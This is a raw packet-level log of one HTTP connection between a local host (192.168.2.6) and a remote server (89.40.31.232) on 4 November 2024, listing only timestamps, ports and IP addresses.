Nov 4, 2024 16:52:38.783428907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783444881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783448935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783457041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783463955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783479929 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783521891 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783554077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783565998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783569098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783574104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783588886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783595085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783607960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783612967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783620119 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783621073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783626080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783647060 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783679962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783837080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783843040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783853054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783865929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783881903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783885956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783888102 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783896923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783902884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783907890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783916950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783921957 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783931017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783938885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783950090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783956051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783957005 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.783988953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.783994913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784007072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784012079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784024000 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784024000 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784045935 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784068108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784076929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784089088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784145117 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784152031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784158945 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784195900 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784199953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784207106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784221888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784235001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784240961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784245968 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784249067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784276962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784297943 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784307003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784312010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784324884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784331083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784337997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784360886 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784383059 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784430027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784436941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784467936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784475088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784487009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784495115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784499884 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784522057 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784524918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784537077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784554005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784565926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784703016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784708977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784722090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784733057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784737110 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784739971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784750938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784758091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784766912 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784773111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784780025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784785032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784791946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784795046 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784797907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784810066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784815073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784821033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784822941 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784826994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784832954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784849882 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784877062 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.784940958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784946918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784959078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784965038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784976006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784981966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784987926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784993887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.784995079 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.785000086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.785006046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.785017014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.785018921 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.785023928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.785058975 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.785068989 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.785109997 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.831505060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.831552982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.831563950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.831633091 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.831674099 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.831773996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.831779003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.831831932 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.831854105 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.831859112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.831903934 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.832348108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832353115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832415104 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.832448006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832458019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832520962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.832609892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832623005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832626104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832663059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832669020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832669973 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.832685947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832691908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832704067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832717896 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.832726002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832731962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832742929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832743883 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.832751036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832775116 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.832794905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832799911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832803965 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.832814932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832851887 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.832918882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832933903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832946062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832952023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832957983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832969904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832978010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832983017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832983971 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.832988977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832993984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.832999945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833005905 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833039045 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833045959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833056927 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833086014 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833184958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833199978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833211899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833230019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833235979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833241940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833247900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833259106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833265066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833268881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833275080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833281994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833287954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833290100 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833290100 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833333015 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833344936 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833385944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833400965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833414078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833425999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833437920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833444118 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833450079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833453894 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833456039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833487034 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833518028 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833550930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833558083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833569050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833576918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833589077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833595037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833621979 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833636999 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833648920 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833673000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833678961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833693027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833702087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833717108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833723068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833729982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833734035 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833734989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833749056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833754063 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833756924 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833760023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833797932 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833801031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833807945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833820105 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833822966 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833826065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833857059 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833889008 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.833914042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833920002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833933115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833939075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833945036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833955050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833961010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833972931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.833990097 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834022045 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834153891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834161043 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834172964 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834216118 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834222078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834233999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834240913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834270954 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834306002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834311962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834323883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834330082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834336996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834337950 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834343910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834383011 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834405899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834413052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834418058 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834433079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834439993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834450960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834455967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834456921 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834462881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834470987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834518909 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834518909 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834625006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834630966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834642887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834650040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834661961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834667921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834673882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834678888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834686041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834695101 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834707022 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834717989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834724903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834737062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834742069 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834743023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834749937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834760904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834767103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834772110 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834773064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834811926 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834845066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834849119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834861040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834867001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834876060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834878922 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834887981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834889889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.834903002 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834913015 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834966898 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.834995985 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835002899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835009098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835015059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835021019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835026979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835038900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835038900 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835046053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835052967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835058928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835067034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835072041 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835099936 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835117102 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835199118 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835206032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835211992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835216999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835232019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835253000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835259914 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835259914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835270882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835278034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835283995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835290909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835294008 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835298061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835310936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835326910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835330963 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835334063 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835338116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.835367918 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835381031 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.835568905 CET	80	59474	89.40.31.232	192.168.2.6
